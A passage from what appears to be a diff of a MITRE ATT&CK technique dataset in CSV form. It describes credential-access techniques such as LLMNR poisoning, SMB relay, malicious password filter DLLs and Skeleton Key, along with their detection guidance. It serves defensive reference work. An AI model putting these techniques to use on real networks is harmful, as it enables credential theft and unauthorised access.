Ticket](https://attack.mitre.org/techniques Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015) -Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",,,,,False,,,,['Windows'],,['Kerberos authentication enabled'],,1.2 -2020-02-11 19:08:51.677000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. + +Monitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.",False,"['User', 'root']","['Windows', 'Linux', 'macOS']",1.3,,['Kerberos authentication enabled'],,,,, +attack-pattern,attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:08:51.677Z,2021-09-28T13:09:50.809Z,LLMNR/NBT-NS Poisoning and SMB Relay,"By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS) Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) -Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1557/001', external_id='T1557.001'), ExternalReference(source_name='Wikipedia LLMNR', description='Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.', url='https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution'), ExternalReference(source_name='TechNet NetBIOS', description='Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.', url='https://technet.microsoft.com/library/cc958811.aspx'), ExternalReference(source_name='byt3bl33d3r NTLM Relaying', description='Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.', url='https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html'), ExternalReference(source_name='Secure Ideas SMB Relay', description='Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.', url='https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html'), ExternalReference(source_name='GitHub NBNSpoof', description='Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.', url='https://github.com/nomex/nbnspoof'), ExternalReference(source_name='Rapid7 LLMNR Spoofer', description='Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.', url='https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response'), ExternalReference(source_name='GitHub Responder', description='Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.', url='https://github.com/SpiderLabs/Responder'), ExternalReference(source_name='Sternsecurity LLMNR-NBTNS', description='Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.', url='https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning'), ExternalReference(source_name='GitHub Conveigh', description='Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.', url='https://github.com/Kevin-Robertson/Conveigh')]",attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-31 13:54:08.239000+00:00,LLMNR/NBT-NS Poisoning and SMB Relay,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Eric Kuehn, Secure Ideas', 'Matthew Demaske, Adaptforward']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,,,,"Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the ""EnableMulticast"" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) +Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1557/001', 'external_id': 'T1557.001'}, {'source_name': 'Wikipedia LLMNR', 'description': 'Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.', 'url': 'https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution'}, {'source_name': 'TechNet NetBIOS', 'description': 'Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.', 'url': 'https://technet.microsoft.com/library/cc958811.aspx'}, {'source_name': 'byt3bl33d3r NTLM Relaying', 'description': 'Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.', 'url': 'https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html'}, {'source_name': 'Secure Ideas SMB Relay', 'description': 'Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.', 'url': 'https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html'}, {'source_name': 'GitHub NBNSpoof', 'description': 'Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.', 'url': 'https://github.com/nomex/nbnspoof'}, {'source_name': 'Rapid7 LLMNR Spoofer', 'description': 'Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.', 'url': 'https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response'}, {'source_name': 'GitHub Responder', 'description': 'Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.', 'url': 'https://github.com/SpiderLabs/Responder'}, {'source_name': 'Sternsecurity LLMNR-NBTNS', 'description': 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.', 'url': 'https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning'}, {'source_name': 'GitHub Conveigh', 'description': 'Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.', 'url': 'https://github.com/Kevin-Robertson/Conveigh'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Eric Kuehn, Secure Ideas', 'Matthew Demaske, Adaptforward']","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,"Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the ""EnableMulticast"" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. -Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-02-11 19:07:12.114000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) +Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",True,['User'],['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:07:12.114Z,2021-09-28T13:09:51.467Z,Adversary-in-the-Middle,"Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) -Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1557', external_id='T1557'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/94.html', external_id='CAPEC-94'), ExternalReference(source_name='Rapid7 MiTM Basics', description='Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.', url='https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/')]",attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-10-16 15:19:48.733000+00:00,Man-in-the-Middle,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,,,,Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.,,,,,False,,,['User'],"['Windows', 'macOS', 'Linux']",,,,1.1 -2020-02-11 19:05:45.829000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. +Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1557', 'external_id': 'T1557'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/94.html', 'external_id': 'CAPEC-94'}, {'source_name': 'Rapid7 MiTM Basics', 'description': 'Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.', 'url': 'https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project']","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.,False,['User'],"['Windows', 'macOS', 'Linux']",2.0,,,,,,, +attack-pattern,attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:05:45.829Z,2021-04-20T20:11:55.147Z,Password Filter DLL,"Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. -Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1556/002', external_id='T1556.002'), ExternalReference(source_name='Carnal Ownage Password Filters Sept 2013', description='Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.', url='http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html'), ExternalReference(source_name='Clymb3r Function Hook Passwords Sept 2013', description='Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', url='https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/')]",attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-20 20:11:55.147000+00:00,Password Filter DLL,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Vincent Le Toux'],"['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,,,,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. +Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/002', 'external_id': 'T1556.002'}, {'source_name': 'Carnal Ownage Password Filters Sept 2013', 'description': 'Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.', 'url': 'http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html'}, {'source_name': 'Clymb3r Function Hook Passwords Sept 2013', 'description': 'Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', 'url': 'https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vincent Le Toux'],"['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. -Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,2.0 -2020-02-11 19:05:02.399000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. +Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",True,"['Administrator', 'SYSTEM']",['Windows'],2.0,,,,,,, +attack-pattern,attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:05:02.399Z,2021-04-20T20:10:26.613Z,Domain Controller Authentication,"Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. -Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1556/001', external_id='T1556.001'), ExternalReference(source_name='Dell Skeleton', description='Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', url='https://www.secureworks.com/research/skeleton-key-malware-analysis'), ExternalReference(source_name='TechNet Audit Policy', description='Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/library/dn487457.aspx')]",attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-20 20:10:26.613000+00:00,Domain Controller Authentication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification']",,,,,"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) +Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/001', 'external_id': 'T1556.001'}, {'source_name': 'Dell Skeleton', 'description': 'Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', 'url': 'https://www.secureworks.com/research/skeleton-key-malware-analysis'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification']",,"Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) -Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",,,,,True,,,['Administrator'],['Windows'],,,,2.0 -2020-02-11 19:01:56.887000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). +Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",True,['Administrator'],['Windows'],2.0,,,,,,, +attack-pattern,attack-pattern--f4c1826f-a322-41cd-9557-562100848c84,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:01:56.887Z,2021-10-17T14:48:33.990Z,Modify Authentication Process,"Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). -Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1556', external_id='T1556'), ExternalReference(source_name='Clymb3r Function Hook Passwords Sept 2013', description='Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', url='https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/'), ExternalReference(source_name='Dell Skeleton', description='Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', url='https://www.secureworks.com/research/skeleton-key-malware-analysis'), ExternalReference(source_name='Xorrior Authorization Plugins', description='Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.', url='https://xorrior.com/persistent-credential-theft/'), ExternalReference(source_name='TechNet Audit Policy', description='Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/library/dn487457.aspx')]",attack-pattern--f4c1826f-a322-41cd-9557-562100848c84,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-26 20:08:31.712000+00:00,Modify Authentication Process,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Chris Ross @xorrior'],"['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,,,,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. +Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556', 'external_id': 'T1556'}, {'source_name': 'Clymb3r Function Hook Passwords Sept 2013', 'description': 'Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.', 'url': 'https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/'}, {'source_name': 'Dell Skeleton', 'description': 'Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.', 'url': 'https://www.secureworks.com/research/skeleton-key-malware-analysis'}, {'source_name': 'Xorrior Authorization Plugins', 'description': 'Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.', 'url': 'https://xorrior.com/persistent-credential-theft/'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Chris Ross @xorrior'],"['Logon Session: Logon Session Creation', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) @@ -1471,26 +1663,26 @@ Monitor PAM configuration and module paths (ex: /etc/pam.d/) for ch Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins) -Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",,,,,False,,,,"['Windows', 'Linux', 'macOS', 'Network']",,,,2.0 -2020-02-11 19:01:15.930000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: +Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",False,,"['Windows', 'Linux', 'macOS', 'Network']",2.0,,,,,,, 